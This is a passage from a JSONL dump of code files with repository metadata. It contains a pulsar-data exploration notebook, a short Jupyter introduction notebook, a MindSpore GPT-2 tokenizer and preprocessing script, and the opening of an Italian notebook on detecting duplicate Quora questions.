listed in parentheses:\n# \n# 1. Mean of the integrated profile. (IP_Mean)\n# 2. Standard deviation of the integrated profile. (IP_StdDev)\n# 3. Excess kurtosis of the integrated profile. (IP_Kurtosis)\n# 4. Skewness of the integrated profile. (IP_Skewness)\n# 5. Mean of the DM-SNR curve. (DM_Mean)\n# 6. Standard deviation of the DM-SNR curve. (DM_StdDev)\n# 7. Excess kurtosis of the DM-SNR curve. (DM_Kurtosis)\n# 8. Skewness of the DM-SNR curve. (DM_Skewness)\n# 9. Class (Class)\n# \n# The XLSX and CSV files with the added column names are provided in the GitHub repository. We will import and explore the data in the following sections.\n\n# ## Exploratory Data Analysis\n\n# ### Import the Relevant Libraries\n\n# In[1]:\n\n\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nget_ipython().run_line_magic('matplotlib', 'inline')\nsns.set()\n\n\n# ### Import & Check the Data\n\n# In[3]:\n\n\ndf = pd.read_csv('2020_1125_Pulsar_Data.csv')\npulsar_data = df.copy()\n\n\n# In[4]:\n\n\npulsar_data.head()\n\n\n# In[9]:\n\n\n# Showing only data for input variables, since the statistics for binary variables in Class are meaningless\npulsar_data.drop('Class',axis=1,inplace=False).describe()\n\n\n# ### Data Visualization\n\n# The visualization below shows paired plots for every input and outut variable.\n\n# In[10]:\n\n\nsns.pairplot(pulsar_data)\n\n\n# ## Modeling Recommendations\n\n# This dataset poses a binary classification problem. All input values are numerical, and the output variable is categorical. Since there are no null values in the dataset, no additional preprocessing is requred prior to modeling. The following classification models should be explored and compared for performance:\n# * Multiple Logistic Regression\n# * Decision Tree Classification\n# * Random Forest Classification\n# * Support Vector Machines (SVM)\n# * Deep Artificial Neural Networks (DNN)\n", "meta": {"hexsha": "372f51c33dcbc88e8a90425ceed2f6bd7524bfb4", "size": 5295, "ext": "py", "lang": "Python", "max_stars_repo_path": "02_Python_Code/01_Exploratory_Data_Analysis/2020_1127_Exploratory_Data_Analysis.py", "max_stars_repo_name": "ericdhitchens/Classifying_Pulsars_from_HTRU2", "max_stars_repo_head_hexsha": "6010031cf7a3ff92d4d1b12914012d6bb809debc", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "02_Python_Code/01_Exploratory_Data_Analysis/2020_1127_Exploratory_Data_Analysis.py", "max_issues_repo_name": "ericdhitchens/Classifying_Pulsars_from_HTRU2", "max_issues_repo_head_hexsha": "6010031cf7a3ff92d4d1b12914012d6bb809debc", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "02_Python_Code/01_Exploratory_Data_Analysis/2020_1127_Exploratory_Data_Analysis.py", "max_forks_repo_name": "ericdhitchens/Classifying_Pulsars_from_HTRU2", "max_forks_repo_head_hexsha": "6010031cf7a3ff92d4d1b12914012d6bb809debc", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 55.7368421053, "max_line_length": 702, "alphanum_fraction": 0.7779036827, "include": true, "reason": "import numpy", "num_tokens": 1235, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46879062662624377, "lm_q2_score": 0.13846178345871912, "lm_q1q2_score": 0.06490958623140021}}
{"text": "# %% [markdown]\n'''\n# Jupyter notebooks\n'''\n# %% [markdown]\n'''\nJupyter Notebook <cite> kluyver2016jupyter </cite> (with the `ipynb` extension) are documents that can contain code (including Python) and rich text elements (links, latex equations, figures).\nThey are powerfull and highly customizable for sharing interactive documents (through python widgets), and also easy to use (through your browser).\n\nThat is why I use it for my blog. \n'''\n# %% [markdown]\n'''\n## tl;dr\n1. Jupyter notebooks has lot of benefits for data science works (interactive, customizable, easy of use).\n2. Use magic commands for system specific or other language.\n'''\n#%% [markdown]\n'''\n## An example ?\n'''\n#%% [markdown]\n'''\nYeah sure !\n\nYou will see below an example of a python code inside a jupyter notebook.\nWe will extract the histogram of randomly sampled data from a gaussian distribution, and plot it using matplotlib.\n'''\n# %% [markdown]\n'''\nFirst, let's import the modules:\n'''\n# %%\nimport numpy as np\nimport matplotlib.pyplot as plt\n# %% [markdown]\n'''\nThen, we initialize some values:\n'''\n# %%\n# Fixing random state for reproducibility\nnp.random.seed(1)\n\nmu = 500\nsigma = 10\nx = mu + sigma * np.random.randn(1000)\n# %% [markdown]\n'''\nNow, we calculate and plot the histogram\n'''\n# %%\n# the histogram of the data\nplt.figure()\nn, bins, patches = plt.hist(x, 50, density=1, facecolor='g', alpha=0.8)\nplt.xlabel('x')\nplt.ylabel('p')\nplt.title('Histogram')\nplt.grid(True)\nplt.show()\n# %% [markdown]\n'''\nThat's it!\n\n>**Note**  \n>There is native support for matplotlib, so the figures are directly rendered in a cell.  \nIf you want to render them in a new window, you should add in the cell:\n```python\n%matplotlib qt\n```\n'''\n#%% [markdown]\n'''\n## To go further\n'''\n#%% [markdown]\n'''\nBy default, all code cells run the language from the kernel you selected. Here I used the python kernel, so all the cells run python code.  \nIf you want to run specific system command or code from another language, Jupyter notebooks supports [magic commands](https://ipython.readthedocs.io/en/stable/interactive/magics.html).\n\nFor example to run a bash command you would do, \n'''\n#%% [code]\n%%bash\necho \"Hello jupyter world!\"\n#%% [markdown]\n'''\n>**Note**  \n>Specifically for shell commands, you can also use this simpler syntax:\n```shell\n!echo \"Hello jupyter world!\"\n```\n'''\n# %% [markdown]\n'''\n## Tags\n'''\n# %% [markdown]\n'''\nSoftware-Development; Interactivity; Open-Science\n'''", "meta": {"hexsha": "958f1b5b3b0ef9194d5e3d77c02f1efc7c07892f", "size": 2447, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks/jupyter.py", "max_stars_repo_name": "ltetrel/ltetrel.github.io", "max_stars_repo_head_hexsha": "b8c3745364eb39537b40d3af4aa85049cf32b6c0", "max_stars_repo_licenses": ["CC0-1.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "notebooks/jupyter.py", "max_issues_repo_name": "ltetrel/ltetrel.github.io", "max_issues_repo_head_hexsha": "b8c3745364eb39537b40d3af4aa85049cf32b6c0", "max_issues_repo_licenses": ["CC0-1.0"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2021-08-25T16:14:35.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-10T04:25:11.000Z", "max_forks_repo_path": "notebooks/jupyter.py", "max_forks_repo_name": "ltetrel/ltetrel.github.io", "max_forks_repo_head_hexsha": "b8c3745364eb39537b40d3af4aa85049cf32b6c0", "max_forks_repo_licenses": ["CC0-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 24.47, "max_line_length": 192, "alphanum_fraction": 0.695545566, "include": true, "reason": "import numpy", "num_tokens": 609, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3557749071749625, "lm_q2_score": 0.18242552602881165, "lm_q1q2_score": 0.06490242458924417}}
{"text": "# Copyright 2022 Huawei Technologies Co., Ltd\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ============================================================================\n\n\"\"\"create data for LM task\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport argparse\nimport collections\nimport json\nimport logging\nfrom typing import List, Optional\nimport numpy as np\nimport regex as re\n\nlogger = logging.getLogger(__name__)\n\ndef bytes_to_unicode():\n    \"\"\"\n    bytes to unicode\n    \"\"\"\n    bs = list(range(ord(\"!\"), ord(\"~\") + 1)) + list(range(ord(\"\u00a1\"), ord(\"\u00ac\") + 1)) + list(range(ord(\"\u00ae\"), ord(\"\u00ff\") + 1))\n    cs = bs[:]\n    n = 0\n    for b in range(2 ** 8):\n        if b not in bs:\n            bs.append(b)\n            cs.append(2 ** 8 + n)\n            n += 1\n    cs = [chr(i) for i in cs]\n    return dict(zip(bs, cs))\n\n\ndef get_pairs(word):\n    \"\"\"\n    Return set of symbol pairs in a word.\n    Word is represented as tuple of symbols (symbols being variable-length strings).\n    \"\"\"\n    pairs = set()\n    prev_char = word[0]\n    for char in word[1:]:\n        pairs.add((prev_char, char))\n        prev_char = char\n    return pairs\n\nclass GPT2Tokenizer():\n    \"\"\"\n    GPT2Tokenizer\n    \"\"\"\n    def __init__(\n            self,\n            vocab_file,\n            merge_file,\n            add_prefix_space=False,\n    ):\n        with open(vocab_file, 'r', encoding=\"utf-8\") as vocab_handle:\n            self.encoder = json.load(vocab_handle)\n        self.decoder = {v: k for k, v in self.encoder.items()}\n        self.vocab_size = len(self.decoder)\n        with open(merge_file, 'r', encoding=\"utf-8\") as merge_handle:\n            bpe_merges = merge_handle.read().split('\\n')[1:-1]\n\n        bpe_merges = [tuple(merge.split()) for merge in bpe_merges]\n\n        self.bpe_ranks = dict(zip(bpe_merges, range(len(bpe_merges))))\n        self.byte_encoder = bytes_to_unicode()\n        self.byte_decoder = {v: k for k, v in self.byte_encoder.items()}\n\n        self.pat = re.compile(r\"\"\"'s|'t|'re|'ve|'m|'ll|'d| ?\\p{L}+| ?\\p{N}+| ?[^\\s\\p{L}\\p{N}]+|\\s+(?!\\S)|\\s+\"\"\")\n        self.add_prefix_space = add_prefix_space\n        self.cache = {}\n\n        self.unk_token = \"<|endoftext|>\"\n        self.unk_token_id = 50256\n        self.bos_token = \"<|endoftext|>\"\n        self.bos_token_id = 50256\n        self.eos_token = \"<|endoftext|>\"\n        self.eos_token_id = 50256\n        self.pad_token = \"<|endoftext|>\"\n        self.pad_token_id = 50256\n\n    def bpe(self, token):\n        \"\"\"\n        bpe encode\n        \"\"\"\n\n        if token in self.cache:\n            return self.cache[token]\n\n        word = tuple(token)\n        pairs = get_pairs(token)\n        if not pairs:\n            return token\n\n        while True:\n            bigram = min(pairs, key=lambda pair: self.bpe_ranks.get(pair, float(\"inf\")))\n            if bigram not in self.bpe_ranks:\n                break\n            first, second = bigram\n            new_word = []\n            i = 0\n            while i < len(word):\n                try:\n                    j = word.index(first, i)\n                except ValueError:\n                    new_word.extend(word[i:])\n                    break\n                else:\n                    new_word.extend(word[i:j])\n                    i = j\n\n                if word[i] == first and i + 1 < len(word) and word[i + 1] == second:\n                    new_word.append(first + second)\n                    i += 2\n                else:\n                    new_word.append(word[i])\n                    i += 1\n            new_word = tuple(new_word)\n            word = new_word\n            if len(word) == 1:\n                break\n            else:\n                pairs = get_pairs(word)\n        word = \" \".join(word)\n        self.cache[token] = word\n        return word\n\n    def _tokenize(self, text):\n        \"\"\" Tokenize a string using bpe encode. \"\"\"\n        text = self.prepare_for_tokenization(text, is_pretokenized=False)\n        # print(text)\n        bpe_tokens = []\n        for token in re.findall(self.pat, text):\n            token = \"\".join(\n                self.byte_encoder[b] for b in token.encode(\"utf-8\")\n            )\n            bpe_tokens.extend(bpe_token for bpe_token in self.bpe(token).split(\" \"))\n        return bpe_tokens\n\n    def _convert_token_to_id(self, token):\n        \"\"\" the index of the token in the vocabulary. \"\"\"\n        return self.encoder.get(token, self.encoder.get(self.unk_token))\n\n    def _convert_id_to_token(self, _id):\n        \"\"\" return the origin bpe token according to id\"\"\"\n        return self.decoder.get(_id)\n\n    def _convert_tokens_to_string(self, tokens):\n        \"\"\" return a string according to the list of tokens\"\"\"\n        text = \"\".join(tokens)\n        text = bytearray([self.byte_decoder[c] for c in text]).decode(\"utf-8\", errors='ignore')\n        return text\n\n    def encode(self, text):\n        \"\"\" get the index list of text\"\"\"\n        text_id = []\n        bpe_tokens = self._tokenize(text)\n        for token in bpe_tokens:\n            text_id.append(self._convert_token_to_id(token))\n        return text_id\n\n    def decode(self, ids):\n        \"\"\" return a string according to the index list of tokens\"\"\"\n        tokens = []\n        for id_ in ids:\n            tokens.append(self._convert_id_to_token(id_))\n        return self._convert_tokens_to_string(tokens)\n\n    def prepare_for_tokenization(self, text, is_pretokenized=False, **kwargs):\n        \"\"\" whether to add a whitespace in the front of text \"\"\"\n        add_prefix_space = kwargs.pop(\"add_prefix_space\", self.add_prefix_space)\n        if is_pretokenized or add_prefix_space:\n            text = \" \" + text\n        return text\n\n    def num_special_tokens_to_add(self, pair: bool = False):\n        token_ids_0 = []\n        token_ids_1 = []\n        return len(self.build_inputs_with_special_tokens(token_ids_0, token_ids_1 if pair else None))\n\n    def build_inputs_with_special_tokens(self, token_ids_0: List[int], token_ids_1: Optional[List[int]] = None):\n        \"\"\"\n        Build model inputs from a sequence or a pair of sequence by concatenating and adding special tokens.\n\n        A GPT2 sequence has the following format:\n        - single sequence: ``<bos> X <eos>``\n        - pair of sequences: ``<bos> A <eos> B <eos>``\n\n        Args:\n            token_ids_0 (List[int]): List of IDs to which the special tokens will be added\n            token_ids_1 (List[int], `optional`, defaults to `None`): Optional second list of IDs for sequence pairs.\n        \"\"\"\n        bos = [self.bos_token_id]\n        eos = [self.eos_token_id]\n        if token_ids_1 is None:\n            return bos + token_ids_0 + eos\n        return bos + token_ids_0 + eos + token_ids_1 + eos\n\n    def truncate_sequences(self, ids, num_tokens_to_remove, truncation_strategy=\"ONLY_FIRST\", direction=\"RIGHT\"):\n        \"\"\"\n        truncate sequences\n        Args:\n            ids: Any\n            num_tokens_to_remove:\n            truncation_strategy: str\n            direction: str\n\n        Returns:\n            (ids, overflowing_tokens): (Any, list)\n\n        \"\"\"\n        if num_tokens_to_remove <= 0:\n            return ids, []\n\n        overflowing_tokens = []\n        if truncation_strategy == \"ONLY_FIRST\":\n            if len(ids) > num_tokens_to_remove:\n                if direction == \"RIGHT\":\n                    overflowing_tokens = ids[-num_tokens_to_remove:]\n                    ids = ids[:-num_tokens_to_remove]\n                if direction == \"LEFT\":\n                    overflowing_tokens = ids[:num_tokens_to_remove]\n                    ids = ids[num_tokens_to_remove:]\n            else:\n                logger.error(\"The first sequence length is smaller than removed tokens. \")\n        else:\n            logger.error(\"Please select correct truncation strategy, for instance 'ONLY_FIRST'\")\n        return (ids, overflowing_tokens)\n\n    def _pad(self, encoded_inputs, max_length=None, padding_strategy=None,\n             return_attention_mask: Optional[bool] = None):\n        \"\"\"\n        _pad\n        Args:\n            encoded_inputs:\n            max_length: Any\n            padding_strategy: Any\n            return_attention_mask: Optional[bool]\n\n        Returns:\n            encoded_inputs:\n\n        \"\"\"\n        needs_to_be_padded = (len(encoded_inputs[\"input_ids\"]) != max_length)\n        if needs_to_be_padded:\n            if padding_strategy == \"MAX_LENGTH\":\n                difference = max_length - len(encoded_inputs[\"input_ids\"])\n                if return_attention_mask:\n                    encoded_inputs[\"attention_mask\"] = [1] * len(encoded_inputs[\"input_ids\"]) + [0] * difference\n                    encoded_inputs[\"input_ids\"] = encoded_inputs[\"input_ids\"] + [self.pad_token_id] * difference\n            else:\n                raise ValueError(\"Invalid padding strategy\")\n        else:\n            if return_attention_mask:\n                encoded_inputs[\"attention_mask\"] = [1] * len(encoded_inputs[\"input_ids\"])\n\n        return encoded_inputs\n\n    def pad(self, encoded_inputs, max_length: Optional[int] = None, padding_strategy=\"MAX_LENGTH\",\n            return_attention_mask=True):\n        \"\"\"\n        pad\n        Args:\n            encoded_inputs:\n            max_length: Optional[int]\n            padding_strategy: str\n            return_attention_mask: bool\n\n        Returns:\n            batch_outputs: Dict[Any, list]\n\n        \"\"\"\n        # no batch encoded_inputs[\"input_ids\"]--->[98, 67, 32388, 318, 1912, 287, 170, 8496, 318, 905, 2667, 32]\n        if encoded_inputs[\"input_ids\"] and not isinstance(encoded_inputs[\"input_ids\"][0], (list, tuple)):\n            encoded_inputs = self._pad(\n                encoded_inputs,\n                max_length=max_length,\n                padding_strategy=padding_strategy,\n                return_attention_mask=return_attention_mask\n            )\n            return encoded_inputs\n\n        # encoded_inputs with batch_size\n        batch_size = len(encoded_inputs[\"input_ids\"])\n        assert all(\n            len(v) == batch_size for v in encoded_inputs.values()\n        ), \"Some items in the output dictionary have a different batch size than others.\"\n\n        if padding_strategy == \"LONGEST\":\n            max_length = max(len(inputs) for inputs in encoded_inputs[\"input_ids\"])\n            padding_strategy = \"MAX_LENGTH\"\n\n        batch_outputs = {}\n        for i in range(batch_size):\n            inputs = dict((k, v[i]) for k, v in encoded_inputs.items())\n            outputs = self._pad(\n                encoded_inputs=inputs,\n                max_length=max_length,\n                padding_strategy=padding_strategy,\n                return_attention_mask=return_attention_mask\n            )\n            for key, value in outputs.items():\n                if key not in batch_outputs:\n                    batch_outputs[key] = []\n                batch_outputs[key].append(value)\n\n        return batch_outputs\n\n    def prepare_for_model(self,\n                          ids,\n                          pair_ids=None,\n                          add_special_tokens=True,\n                          max_length=None,\n                          padding=None,\n                          truncate_direction=\"RIGHT\",\n                          return_overflowing_tokens=False,\n                          return_attention_mask=True):\n        \"\"\"\n        prepare for model\n        Args:\n            ids:\n            pair_ids:\n            add_special_tokens: bool\n            max_length: Any\n            padding: Any\n            truncate_direction: str\n            return_overflowing_tokens: bool\n            return_attention_mask: bool\n\n        Returns:\n            encoded_inputs:Dict\n\n        \"\"\"\n\n        pair = bool(pair_ids is not None)\n        len_ids = len(ids)\n        len_pair_ids = len(pair_ids) if pair else 0\n\n        encoded_inputs = {}\n        # Compute the total size of the returned encodings\n        total_len = len_ids + len_pair_ids + (self.num_special_tokens_to_add(pair=pair) if add_special_tokens else 0)\n\n        # Truncation: Handle max sequence length\n        if max_length and total_len > max_length:\n\n            ids, overflowing_tokens = self.truncate_sequences(ids=ids,\n                                                              num_tokens_to_remove=total_len - max_length,\n                                                              truncation_strategy=\"ONLY_FIRST\",\n                                                              direction=truncate_direction)\n            if return_overflowing_tokens:\n                encoded_inputs[\"overflowing_tokens\"] = overflowing_tokens\n                encoded_inputs[\"num_truncated_tokens\"] = total_len - max_length\n\n        if add_special_tokens:\n            sequence = self.build_inputs_with_special_tokens(ids, pair_ids)\n        else:\n            sequence = ids + pair_ids if pair else ids\n\n        # build output dictionary\n        encoded_inputs[\"input_ids\"] = sequence\n        # check lengths\n        if max_length is None or len(encoded_inputs[\"input_ids\"]) > max_length:\n            logger.warning(\n                \"Token indices sequence length is longer than the specified maximum sequence length \"\n                \"for this model (%ids > %length). Running this sequence through the model will result in \"\n                \"indexing errors\", len(ids), max_length\n            )\n        # padding\n        if padding or return_attention_mask:\n            encoded_inputs = self.pad(encoded_inputs=encoded_inputs,\n                                      max_length=max_length,\n                                      padding_strategy=\"MAX_LENGTH\",\n                                      return_attention_mask=return_attention_mask)\n\n        return encoded_inputs\n\ndef create_instance(tokenizer, text, max_length=None):\n    \"\"\"A single sample instance for LM task.\"\"\"\n    sentence = text.strip().split(\"\\t\")\n\n    ids = tokenizer.encode(sentence[0])\n    pair_ids = None\n    if len(sentence) == 2:\n        pair_ids = tokenizer.encode(sentence[1])\n\n    output = tokenizer.prepare_for_model(ids=ids,\n                                         pair_ids=pair_ids,\n                                         add_special_tokens=True,\n                                         max_length=max_length,\n                                         padding=True,\n                                         truncate_direction=\"LEFT\",\n                                         return_overflowing_tokens=False,\n                                         return_attention_mask=True)\n    return output\n\ndef write_instance_to_file(instance):\n    \"\"\"write the instance to file\"\"\"\n    input_ids = instance[\"input_ids\"]\n    input_mask = instance[\"attention_mask\"]\n    label_ids = instance[\"input_ids\"]\n    assert len(input_ids) == len(label_ids)\n\n    features = collections.OrderedDict()\n    features[\"input_ids\"] = np.asarray(input_ids)\n    features[\"input_mask\"] = np.asarray(input_mask)\n    features[\"label_ids\"] = np.asarray(label_ids)\n\n    return features\n\ndef dataset_preprocess_seq(input_file, tokenizer, max_length):\n    \"\"\" infer dataset preprocess for PTB or 1BW\"\"\"\n    print(\"***** Reading from  %s *****\", input_file)\n    input_ids = []\n    input_mask = []\n    label_ids = []\n    total_read = 0\n    total_written = 0\n    with open(input_file, \"r\") as f:\n        while True:\n            line = f.readline()\n            if not line:\n                break\n            total_read += 1\n            if total_read % 500 == 0:\n                print(\"%d ...\", total_read)\n\n            output = create_instance(tokenizer, line, max_length)\n            features = write_instance_to_file(instance=output)\n            total_written += 1\n\n            if total_written <= 20:\n                print(\"***** Example *****\")\n                print(\"input tokens: %s\", tokenizer.decode(output[\"input_ids\"][:-1]))\n                print(\"label tokens: %s\", tokenizer.decode(output[\"input_ids\"][1:]))\n\n                input_ids.append(np.array(features['input_ids'], dtype=np.int64))\n                input_mask.append(np.array(features['input_mask'], dtype=np.int64))\n                label_ids.append(np.array(features['label_ids'], dtype=np.int64))\n\n                for feature_name in features.keys():\n                    feature = features[feature_name]\n                    print(\"%s: %s\", feature_name, feature)\n    print(\"Wrote %d total instances\", total_written)\n    return input_ids, input_mask, label_ids\n\ndef wikitext_dataset_preprocess_seq(input_file, tokenizer, max_length):\n    \"\"\" infer dataset preprocess for wikitext\"\"\"\n    print(\"***** Reading from  %s *****\", input_file)\n    passage = []\n    input_ids = []\n    input_mask = []\n    label_ids = []\n    total_read = 0\n    total_written = 0\n    with open(input_file, 'r', encoding='utf-8') as f:\n        for line in f:\n            line = line.strip()\n            if line:\n                if line.startswith('=') and line.endswith('=') and passage:\n                    passage = []\n                elif line.startswith('=') and line.endswith('='):\n                    continue\n                else:\n                    passage.append(line)\n                    total_read += 1\n                    if total_read % 500 == 0:\n                        print(\"%d ...\", total_read)\n\n                    output = create_instance(tokenizer, line, max_length)\n                    features = write_instance_to_file(instance=output)\n                    total_written += 1\n\n                    if total_written <= 20:\n                        print(\"***** Example *****\")\n                        print(\"input tokens: %s\", tokenizer.decode(output[\"input_ids\"][:-1]))\n                        print(\"label tokens: %s\", tokenizer.decode(output[\"input_ids\"][1:]))\n\n                        input_ids.append(np.array(features['input_ids'], dtype=np.int64))\n                        input_mask.append(np.array(features['input_mask'], dtype=np.int64))\n                        label_ids.append(np.array(features['label_ids'], dtype=np.int64))\n\n                        for feature_name in features.keys():\n                            feature = features[feature_name]\n                            print(\"%s: %s\", feature_name, feature)\n    print(\"Wrote %d total instances\", total_written)\n    return input_ids, input_mask, label_ids\n\ndef main():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--input_file\", type=str, required=True, help='Input raw text file. ')\n    parser.add_argument(\"--output_file\", type=str, required=True, help='Output MindRecord file. ')\n    parser.add_argument(\"--num_splits\", type=int, default=1,\n                        help='The MindRecord file will be split into the number of partition. ')\n    parser.add_argument(\"--max_length\", type=int, required=True, help='Maximum sequence length. ')\n    parser.add_argument(\"--dataset\", type=str, default=\"ptb\",\n                        help=\"The name of dataset which should be processed, only for LanguageModeling task.\")\n    parser.add_argument(\"--vocab_file\", type=str, required=True, default='', help='url of gpt2-vocab.json ')\n    parser.add_argument(\"--merge_file\", type=str, required=True, default='', help='url of gpt2-merges.txt ')\n    args = parser.parse_args()\n\n    tokenizer = GPT2Tokenizer(vocab_file=args.vocab_file, merge_file=args.merge_file)\n\n    input_file = args.input_file\n    print(\"***** Reading from input files *****\")\n    print(\"Input File: %s\", input_file)\n\n    output_file = args.output_file\n    print(\"***** Writing to output files *****\")\n    print(\"Output File: %s\", output_file)\n\n    if args.dataset == \"ptb\" or args.dataset == \"onebw\":\n        input_ids, input_mask, label_ids = dataset_preprocess_seq(input_file,\n                                                                  tokenizer, args.max_length)\n    elif args.dataset == \"wikitext2\" or args.dataset == \"wikitext103\":\n        input_ids, input_mask, label_ids = wikitext_dataset_preprocess_seq(input_file,\n                                                                           tokenizer, args.max_length)\n    else:\n        raise Exception(\"Dataset not supported. support: [ptb, onebw, wikitext2, wikitext103]\")\n\n    np.savetxt(output_file + '/input_ids.txt', np.array(input_ids), fmt='%i', delimiter=' ')\n    np.savetxt(output_file + '/input_mask.txt', np.array(input_mask), fmt='%i', delimiter=' ')\n    np.savetxt(output_file + '/label_ids.txt', np.array(label_ids), fmt='%i', delimiter=' ')\n\nif __name__ == \"__main__\":\n    main()\n", "meta": {"hexsha": "c2ddd8851cdb0aa4990d5ab86e48464d093f6bb6", "size": 20957, "ext": "py", "lang": "Python", "max_stars_repo_path": "research/nlp/gpt2/infer/utils/data_processor_seq.py", "max_stars_repo_name": "mindspore-ai/models", "max_stars_repo_head_hexsha": "9127b128e2961fd698977e918861dadfad00a44c", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 77, "max_stars_repo_stars_event_min_datetime": "2021-10-15T08:32:37.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T13:09:11.000Z", "max_issues_repo_path": "research/nlp/gpt2/infer/utils/data_processor_seq.py", "max_issues_repo_name": "mindspore-ai/models", "max_issues_repo_head_hexsha": "9127b128e2961fd698977e918861dadfad00a44c", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 3, "max_issues_repo_issues_event_min_datetime": "2021-10-30T14:44:57.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-14T06:57:57.000Z", "max_forks_repo_path": "research/nlp/gpt2/infer/utils/data_processor_seq.py", "max_forks_repo_name": "mindspore-ai/models", "max_forks_repo_head_hexsha": "9127b128e2961fd698977e918861dadfad00a44c", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 24, "max_forks_repo_forks_event_min_datetime": "2021-10-15T08:32:45.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-24T18:45:20.000Z", "avg_line_length": 38.8092592593, "max_line_length": 120, "alphanum_fraction": 0.5674476309, "include": true, "reason": "import numpy", "num_tokens": 4417, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.33807712415000585, "lm_q2_score": 0.19193279569159502, "lm_q1q2_score": 0.06488808759748507}}
{"text": "\n# coding: utf-8\n\n# # Analisi del problema di Quora\n# ---\n# \n# Il problema \u00e8 proposto da http://www.quora.com. Il sito propone un sistema per condividere le proprie conoscenze in vari ambiti e per espandere queste stesse conoscenze. Questo grazie ad un sistema di semplici domande e risposte, che sono per\u00f2 organizzate in vari topic (interessi) che le persone possono seguire per personalizzare la loro esperienza. E\u2019 presente un profilo personale che mostra domande e risposte e le conoscenze principali di ogni persona.\n# Il problema posto dall\u2019azienda \u00e8 il riconoscimento di domande che hanno lo stesso significato: sono molte infatti le domande che vengono ripetute (per pigrizia degli utenti o anche a causa della ricerca). Diventerebbe quindi importante ottimizzare il numero di domande unendo quelle uguali (con stesso scopo), ma anche (e soprattutto) unire le risposte, per rendere pi\u00f9 completa possibile l\u2019esperienza dell\u2019utente riguardo lo specifico argomento della domanda.\n# Attualmente il sistema utilizza un modello RandomForest per identificare le domande uguali: la sfida lanciata \u00e8 quella di trovare degli algoritmi migliori di rilevamento usando tecniche avanzate di Machine Learning e di Natural Language Processing.\n# \n# Il problema si presenta come una classificazione binaria con l'uso di addestramento supervisionato\n# \n# # Analisi  Training Set\n# ---\n# \n# Abbiamo iniziato ad analizzare il dataset partendo dal Training Set (`train.csv`).\n# L'header indica la denominazione delle 5 features e del label:\n# 1. `id` = id della coppia di domande\n# 2. `qid1` = id della prima domanda\n# 3. `qid2` = id della seconda domanda\n# 4. `question1` = testo della prima domanda\n# 5. `question2` = testo della seconda domanda\n# 6. `is_duplicate` = indica se le due domande sono uguali (\u00e8 il label)\n\n# In[1]:\n\n\nget_ipython().run_cell_magic('time', '', \"\\nimport pandas as pd\\nimport numpy as np\\nimport time\\n\\n#Read dataset\\ntrain = pd.read_csv('/usr/local/share/kaggle/Quora Question Pairs/uncompressed/train.csv')\\n\\n#Print dataframe columns types infos\\nprint(train.dtypes)\\n\\n#Print some examples\\ntrain.head()\\nprint(len(train))\")\n\n\n# # Elaborazione dei dati\n# ---\n# \n# Inizialmente, seguendo i suggerimenti trovati in alcuni notebook presenti su kaggle, si era deciso di ripulire il dataset, eliminando tutto ci\u00f2 che non fosse lettere o numeri. \n# Questa decisione si \u00e8 rivelata poi controproducente in quanto l'algoritmo risulta meno performante su di un dataset \"pulito\".\n# \n# Si noti la differenza tra una frase \"sporca\" e una \"pulita\"\n\n# ### FASE 0A: Creazione dizionari\n# \n# Inizialmente \u00e8 utile costruire delle strutture dati che poi saranno impiegate nel corso dell'elaborazione dei dati; anche se esse vengono utilizzate in fasi diverse dell'elaborazione risulta utile crearle tutte insime in un unica operazione.\n# Le strutture dati sono le seguenti\n# \n# * `dictionary`: Dizionario che associa a ciascuna parola un id intero\n# * `f_list`: lista che associa a ciascuna parola la propria frequenza, nello specifico contiene coppie (`id_parola`, `frequenza_parola`); la lista \u00e8 ordinata in ordine decrescente di frequenza\n# * `n_data`: dataset formato da due colonne contenente le coppie di domande, dove ciascuna domanda \u00e8 rappresentata da un array di `id_parola`\n# * `id_train`: `n_data` con l'aggiunta di una prima colonna contenente l'id della coppia di domande \n# \n\n# In[2]:\n\n\nget_ipython().run_cell_magic('time', '', \"\\ndef build_dictionary(data):\\n    #Initialization\\n    dictionary = {} #dizionario: stringa -> id\\n    c = 0\\n    frequency_list = [] #lista frequenze: list[id] = (id_parola, frequenza_parola)\\n    converted_data = [] #dataset che contiene numeri al posto delle parole \\n    #Takes every word in every couple and creates a dictionary\\n    for col in ['question1', 'question2']:\\n        new_col = []\\n        for sentence in data[col]:\\n            sentence_converted = []\\n            sentence = str(sentence).split(' ')\\n            for p in sentence:\\n                #Checks if word is already in dictionary\\n                if str(p) not in dictionary.keys():\\n                    